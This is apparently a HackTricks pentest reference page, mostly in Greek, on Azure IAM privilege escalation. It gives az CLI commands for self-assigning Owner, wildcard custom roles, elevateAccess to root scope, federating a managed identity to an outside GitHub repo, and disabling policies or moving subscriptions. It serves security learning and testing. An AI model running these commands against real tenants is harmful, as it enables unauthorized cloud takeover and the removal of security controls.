Az - Azure IAM Privesc (Authorization)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Azure IAM

Για περισσότερες πληροφορίες δείτε:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Αυτή η άδεια επιτρέπει την ανάθεση roles σε principals σε ένα συγκεκριμένο scope, επιτρέποντας σε έναν attacker να κλιμακώσει τα privileges του αναθέτοντας στον εαυτό του έναν πιο privileged role:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Αυτό το δικαίωμα επιτρέπει την τροποποίηση των δικαιωμάτων που παρέχονται από έναν ρόλο, επιτρέποντας σε έναν attacker να κλιμακώσει τα προνόμια χορηγώντας περισσότερα δικαιώματα σε έναν ρόλο που έχει αναθέσει.

Δημιουργήστε το αρχείο role.json με το ακόλουθο περιεχόμενο:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Στη συνέχεια ενημερώστε τα δικαιώματα του ρόλου με τον προηγούμενο ορισμό καλώντας:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Αυτή η άδεια επιτρέπει την ανύψωση προνομίων και τη δυνατότητα ανάθεσης δικαιωμάτων σε οποιοδήποτε principal για Azure resources. Προορίζεται να δοθεί σε Entra ID Global Administrators ώστε να μπορούν επίσης να διαχειρίζονται δικαιώματα για Azure resources.

Tip

Νομίζω ότι ο χρήστης πρέπει να είναι Global Administrator στο Entra ID για να λειτουργήσει η elevate κλήση.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Αυτή η άδεια επιτρέπει την προσθήκη Federated credentials σε managed identities. Π.χ. να δοθεί σε μια managed identity πρόσβαση για Github Actions σε ένα repo. Στη συνέχεια, επιτρέπει την πρόσβαση σε οποιαδήποτε managed identity που έχει οριστεί από χρήστη.

Παράδειγμα εντολής για να δοθεί πρόσβαση σε ένα repo στο Github σε μια managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Ένας επιτιθέμενος με την άδεια Microsoft.Authorization/policyAssignments/write ή Microsoft.Authorization/policyAssignments/delete σε ένα management group, subscription ή resource group μπορεί να τροποποιήσει ή διαγράψει τα Azure policy assignments, ενδεχομένως απενεργοποιώντας περιορισμούς ασφαλείας που μπλοκάρουν συγκεκριμένες ενέργειες.

Αυτό επιτρέπει πρόσβαση σε πόρους ή λειτουργίες που προηγουμένως προστατεύονταν από την πολιτική.

Διαγραφή μιας ανάθεσης πολιτικής:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Απενεργοποίηση ανάθεσης πολιτικής:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Επιβεβαιώστε τις αλλαγές:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Ένας επιτιθέμενος με την άδεια Microsoft.Authorization/policyDefinitions/write μπορεί να τροποποιήσει τις Azure policy definitions, αλλάζοντας τους κανόνες που ελέγχουν τους περιορισμούς ασφαλείας σε όλο το περιβάλλον.

Για παράδειγμα, μια policy που περιορίζει τις επιτρεπόμενες περιοχές για τη δημιουργία resources μπορεί να τροποποιηθεί ώστε να επιτρέπει οποιαδήποτε περιοχή, ή το policy effect μπορεί να αλλάξει ώστε να καταστεί αναποτελεσματικό.

Τροποποίηση ενός policy definition:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Επαληθεύστε τις αλλαγές:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Ένας επιτιθέμενος με το δικαίωμα Microsoft.Management/managementGroups/write μπορεί να τροποποιήσει την ιεραρχική δομή των ομάδων διαχείρισης ή να δημιουργήσει νέες ομάδες διαχείρισης, ενδεχομένως παρακάμπτοντας περιοριστικές πολιτικές που εφαρμόζονται σε ανώτερα επίπεδα.

Για παράδειγμα, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα ομάδα διαχείρισης χωρίς περιοριστικές πολιτικές και στη συνέχεια να μετακινήσει σε αυτήν συνδρομές.

Δημιουργία νέας ομάδας διαχείρισης:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Τροποποιήστε μια ιεραρχία ομάδας διαχείρισης:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Επιβεβαιώστε τις αλλαγές:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Ένας επιτιθέμενος με την άδεια Microsoft.Management/managementGroups/subscriptions/write μπορεί να μετακινήσει subscriptions μεταξύ management groups, ενδεχομένως να παρακάμψει περιοριστικές πολιτικές μετακινώντας μια subscription σε μια ομάδα με λιγότερο περιοριστικές ή χωρίς πολιτικές.

Μετακίνηση μιας subscription σε διαφορετικό management group:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Επιβεβαιώστε τις αλλαγές:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks